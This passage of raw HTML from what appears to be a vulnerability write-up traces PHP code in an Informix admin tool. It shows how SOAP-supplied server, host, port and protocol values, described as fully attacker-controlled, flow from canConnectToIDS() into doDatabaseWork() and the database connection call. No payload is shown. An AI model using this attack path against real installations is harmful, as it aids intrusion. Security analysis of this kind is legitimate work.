data-line=\"crayon-5924b59798543030262640-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-38\">38<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-2\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-3\"><span class=\"crayon-c\">\t * Verify that a connection to the server can be made.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-4\"><span class=\"crayon-c\">\t * @return true if a new PDO can be created and server version is &gt;= 11, false otherwise<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-5\"><span class=\"crayon-c\">\t *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-6\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">canConnectToIDS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">lang<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;en_US&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-7\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-8\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setOATLiteLang<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">lang<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-9\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-10\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;SELECT DBINFO(&#8216;version&#8217;,&#8217;major&#8217;) AS vers FROM sysha_type &#8220;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">handlingPDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">TRUE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">try<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-13\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-14\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">temp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">doDatabaseWork<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-15\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-c\">\/* set handlingPDOException back to false in case this is used in a multi call *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-16\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">handlingPDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">FALSE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-17\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-18\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-19\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-20\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;canConnect&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;message&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-21\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-22\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-23\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-24\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-c\">\/\/error_log(&#8220;Could not connect, returning false&#8221;);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-25\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;canConnect&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;message&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e1<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-26\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-27\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/error_log(var_export($temp));<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-28\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/error_log(&#8220;temp: &#8221; . var_export($temp[0][&#8216;VERS&#8217;], true));<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-29\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">temp<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;VERS&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-30\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-31\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;canConnect&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;message&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">lang<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;ServerVersionLessThan11&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-32\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-33\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-34\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-35\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;canConnect&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;message&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-36\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798543030262640-37\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798543030262640-38\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0056 seconds] -->  <\/p>\n<p>$server, $host, $port, $protocol are received from the SOAP request and they are fully controlled;<br \/> at [1] doDatabaseWork() is called, then look:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798546730086270\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/**  \t * Runs query on specified database  \t * @return array containing all selected records  \t *\/  \tprivate function doDatabaseWork($sel, $dbname=&#8221;sysmaster&#8221;, $serverName, $host, $port, $protocol, $user, $password,  \t$timeout = 10, $exceptions=false, $locale=NULL)  \t{  \t\t$ret = array();  \t\tif ( $this-&gt;useSameConnection == null )  \t\t$db = $this-&gt;getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout, $locale); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [2]  \t\telse  \t\t$db = $this-&gt;useSameConnection;    \t\twhile (1 == 1)  \t\t{  \t\t\t$stmt = $db-&gt;query($sel); \/\/ not required as this is using the PDO-&gt;query not the $idsadmin-&gt;db-&gt;query ,false,$exceptions,$locale);    \t\t\t$err = $db-&gt;errorInfo();  \t\t\tif ( $err[1] != 0 )  \t\t\t{  \t\t\t\ttrigger_error(&#8220;{$err[1]} &#8211; {$err[2]}&#8221;,E_USER_ERROR);  \t\t\t}  \t\t\t  \t\t\twhile ($row = $stmt-&gt;fetch(PDO::FETCH_ASSOC) )  \t\t\t{  \t\t\t\t$ret[] = $row;  \t\t\t}    \t\t\t$err = $db-&gt;errorInfo();    \t\t\tif ( $err[2] == 0 )  \t\t\t{  \t\t\t\t$stmt-&gt;closeCursor();  \t\t\t\tbreak;  \t\t\t}  \t\t\telse  \t\t\t{  \t\t\t\t$err = &#8220;Error: {$err[2]} &#8211; {$err[1]}&#8221;;  \t\t\t\t$stmt-&gt;closeCursor();  \t\t\t\ttrigger_error($err,E_USER_ERROR);  \t\t\t\tcontinue;  \t\t\t}  \t\t}  \t\treturn $ret;  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798546730086270-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798546730086270-47\">47<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-2\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-3\"><span class=\"crayon-c\">\t * Runs query on specified database<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-4\"><span class=\"crayon-c\">\t * @return array containing all selected records<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-5\"><span class=\"crayon-c\">\t *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-6\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">doDatabaseWork<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">serverName<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-7\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">timeout<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">exceptions<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-8\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798546730086270-9\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798546730086270-10\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span 